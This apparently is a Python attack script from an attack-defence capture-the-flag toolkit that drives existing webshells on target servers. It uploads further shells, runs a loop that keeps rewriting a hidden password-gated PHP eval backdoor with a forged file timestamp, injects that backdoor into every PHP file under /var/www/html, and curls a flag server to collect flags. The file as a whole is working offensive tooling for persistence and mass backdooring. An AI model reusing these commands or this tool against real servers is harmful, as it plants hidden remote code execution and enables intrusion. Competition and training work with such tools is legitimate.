95 lines
3.6 KiB
Python

#!/usr/bin/python
#coding=utf-8
import sys
import plugin.upload1,plugin.upload,plugin.command,plugin.insert,plugin.getflag
def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print("File %s Not Found!" %filepath)
sys.exit()
def use():
print("[+] Attack Method > upload #upload shell return shell_addr")
print("[+] Attack Method > upload1 #upload bsm_shell and active bsm_shell")
print("[+] Attack Method > command #use 'while' command to write shell")
print("[+] Attack Method > insert #insert shell_code to all files")
print("[+] Attack Method > getflag #use curl command to getflag")
print("[+] Attack Method > exit #exit\n\n")
#print "[+] option : exec,passthru,system or shell_exec"
if __name__ == '__main__':
method_list=["exec","passthru","system","shell_exec"]
use()
while True:
ms = input("Attack Method > ")
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print("[-] %s request method error!" %(str(ls[0])))
else : pass
ms = ms.lower()
i=0
for j in range(len(url)):
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
if(ms=="upload1"):
plugin.upload1.upload(url=url[j],method=method[j],passwd=passwd[j])
elif(ms=="upload"):
plugin.upload.upload(url=url[j],method=method[j],passwd=passwd[j])
elif(ms=="command"):
if(i==0):
print("[-] Method Only have one in exec,passthru,system or shell_exec\n\n")
met = input("Command Method > ")
i+=1
while met not in method_list:
print("[-] Method Only have one in exec,passthru,system or shell_exec\n\n")
met = input("Command Method > ")
cmd = met+"('while true;do echo \\'<?php if(md5($_POST[pass])==\"3a50065e1709acc47ba0c9238294364f\"){@eval($_POST[a]);} ?>\\' >.index1.php;touch -m -d \"2017-11-17 10:21:26\" .index1.php;sleep 5;done;');"
plugin.command.cmd(url=url[j],method=method[j],passwd=passwd[j],cmd=cmd)
elif(ms=="insert"):
if(i==0):
print("[-] Method Only have one in exec,passthru,system or shell_exec\n\n")
met = input("Command Method > ")
i+=1
while met not in method_list:
print("[-] Method Only have one in exec,passthru,system or shell_exec\n\n")
met = input("Command Method > ")
#web目录记得修改。
cmd= met+"('find /var/www/html -type f -path \"*.php\" | xargs sed -i \"s/<?php/<?php \\n if(md5(\$_POST[\\\"pass\\\"])==\\\"3a50065e1709acc47ba0c9238294364f\\\"){@eval(\$_POST[a]);};\\n/g\"');"
plugin.insert.cmd(url=url[j],method=method[j],passwd=passwd[j],cmd=cmd)
elif(ms=="getflag"):
flag_path="Flag.txt"
if(i==0):
print("[-] Method Only have one in exec,passthru,system or shell_exec\n\n")
met = input("Command Method > ")
i+=1
while met not in method_list:
print("[-] Method Only have one in exec,passthru,system or shell_exec\n\n")
met = input("Command Method > ")
#flag机ip记得改
flag_ip="192.168.45.1"
cmd = "echo "+met+"('curl "+flag_ip+"');"
plugin.getflag.getflag(url=url[j],method=method[j],passwd=passwd[j],cmd=cmd,flag_path=flag_path)
elif(ms=="exit"):
sys.exit()
else :
use()
if(ms=="getflag"):
print("[+] Getflag finished!")